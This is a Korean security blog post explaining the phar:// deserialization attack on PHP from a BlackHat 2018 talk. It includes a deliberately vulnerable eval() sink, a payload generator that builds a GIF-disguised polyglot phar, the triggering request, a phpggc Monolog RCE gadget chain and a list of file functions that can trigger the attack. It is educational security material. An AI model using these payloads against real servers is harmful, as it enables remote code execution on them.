Phar(PHP Archive)에서의 PHP Deserialization 취약점 (BlackHat 2018)

시간날때 천천히 못본 blackhat 자료 보고있는데, 눈길을 끄는게 하나 있어 정리해서 글로 작성해봅니다.

https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf

오늘 이야기드릴 내용은 Phar의 Deserialze 취약점입니다. 어떤게 문제이고 어떻게 테스트하고 어떻게 막아야할지? 알아봅시다.

What is Phar?

Phar는 PHP Archive로 phar 파일에 어플리케이션 로직을 저장할 수 있는 php의 확장입니다. PHP 코드에서 사용할 때에는 Stream Wrapper 통해 기능을 구현하며 include로 phar 파일을 읽어와서 사용합니다.

Stream wrappers : http:// file:// zlib:// phar:// 등등…

예시를 보면 이런식으로 사용합니다.

<?php
  include 'phar:///path/to/myphar.phar/file.php' ;
  // myphar.phar 내 file.php를 불러옵니다. 
?>

include로 직접 php 파일을 불러오는 것과 유사하지만, 실제 파일은 myphar.phar 하나이며 이 archive 내에 있는 여러 코드를 하위 경로로 불러와서 사용할 수 있다는 점이 다릅니다.

Phar Structure

Phar 파일은 4가지의 구조로 이루어져있습니다.

  • Stub
  • Manifest
  • File contents
  • Signature (Optional)

Stub

Stub은 작은 형태의 코드를 담을 수 있는 공간입니다. Stub에 저장된 코드는 phar/stub.php에 저장되며 별도로 지정하지 않으면 phar 코드를 실행하는 코드(7k 정도)가 기본값으로 들어있습니다. 해당 영역에 __HALT_COMPILER(); 코드가 있어야 phar 파일로 인식합니다.

Manifest

Manifest엔 해당 phar 파일에 대한 meta 데이터가 있습니다.

Phar Manifest file entry

Size in bytes     Description
4 bytes         Filename length in bytes
??              Filename (length specified in previous)
4 bytes         Un-compressed file size in bytes
4 bytes         Unix timestamp of file
4 bytes         Compressed file size in bytes
4 bytes         CRC32 checksum of un-compressed file contents
4 bytes         Bit-mapped File-specific flags
4 bytes         Serialized File Meta-data length (0 for none)
??                 Serialized File Meta-data, stored in serialize() format

File contents and signature

File Contents는 phar 내 데이터 영역입니다. Signature는 phar에 대한 시그니처를 의미합니다.

Deserialize Vulnerability

phar의 재미있는 점은 Manifest에 있는데, 마지막의 byte 내용을 보면 serialize() 포맷에 맞는 Serialized 데이터의 영역입니다. 곧 해당 파일을 사용할 때 Deserialize 하여 사용한다는 이야기이고, 이는 곧 Deserialize 취약점에 노출될 수 있다는 소리입니다.

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); // stub 영역입니다. 
    $o = new TestObject();
    $o -> data='hahwul';
    $phar->setMetadata($o); // manifest에 데이터를 씁니다. TestObject 객체를 생성해서 값을 채운 후 객체 데이터가 들어갔습니다.
                            // phar 파일의 manifest 영역엔 Serialized된 TestObject 객체가 들어가게 됩니다. 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

해당 파일을 불러오는 쪽 코드에서 아래와 같이 TestObject 객체가 있고 __destruct() 함수에 data를 찍도록 정의되어 있다면 위 데이터에 들어간 hahwul이 찍히게 됩니다.

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;    // Result : hahwul
    }
}
include('phar://phar.phar');
?>

Manifest의 Serialized 구간은 __destruct__wakeup 시 로드되어 실행됩니다. 코드상에 __destruct(), __wakeup()이 있는 객체 선언이 있어야하며, phar 파일 업로드 및 로드가 가능한 구간이 있다면 충분히 테스트해 볼 가치가 있습니다.

예시에선 include로 로드하였었지만, file_exists()fopen(), file(), file_get_contents(), include() 등 phar 처리가 가능한 function들이 많이 있어서 이 부분은 생각보다 잘 나올 수 있습니다. 특히나 파일 업로드 구간에 file_exists()가 있는 경우는 많기 떄문에 좋은 트리거 포인트가 될 수 있죠.

만약 phar 파일을 올릴 수 있는 구간이 있고 아래와 같이 우리가 입력한 파라미터 값을 가지고 file_exists를 호출하는 페이지가 있다고 하면..

file.php

<?php
$filename=$_GET['path'];
class imgObject{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

공격자는 stub를 GIF90a 즉 gif 이미지로 맞추어 검증 로직을 속일 수 있는 phar 파일을 만들 수 있습니다. 위의 __destruct() 내 eval로 실행되는 output 값에 공격자가 실행할 php 명령이 들어가게 되면 공격코드가 삽입된 phar 파일이 만들어집니다.

pay_gen.php

<?php
class imgObject{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new imgObject();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

이제 file.php를 통해 이 파일을 불러와보면 phpinfo()가 실행된 걸 볼 수 있습니다.

GET http://192.168.0.13:9494/file.php?path=phar://tempdir/phar.phar/phar.gif

Make Payloads

아 위에 코드로 phar 파일이 생성이 안되는 경우가 있는데 php.ini 파일에 phar.readonly가 off로 설정하지 않으면 phar 생성이 불가능합니다. 옵션을 바꿔주시면 됩니다.

참고: http://php.net/manual/en/phar.configuration.php)

음 위에선 테스트 코드로 하느라 eval로 불렀지만 실제론 아닐겁니다. 코드 넣기가 까다롭기 때문에 보통 Gadget Chain을 이용합니다. (PHP Generic Gadget Chains)

이 글에선 phpggc로 직접 만들어줍니다.

$ phpggc 
./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Phar 처리가 가능한 functions

생각보다 많습니다.. 심지어 자주 사용되는 것들..

file()
filetime()
filectime()
fileatime()
file_put_contents()
fileinode()
file_exists()
filegroup()
fileowner()
file_get_contents()
fopen()
fileperms()
is_dir()
is_readable()
is_executable()
is_writable()
is_writeable()
is_file()
is_link()
parse_ini_file()
copy()
unlink()
stat()
readfile()

Defense & Solution

phar에 대한 업로드 제한, 검증과 phar 구조의 마지막인 Signature 정도가 있을듯하네요. 결국은 업로드된 phar 파일 이를 불러오는 함수간의 관계에 얽힌거라 정확한 솔루션에 대해선 고민이 더 있어야할듯 싶습니다.

Reference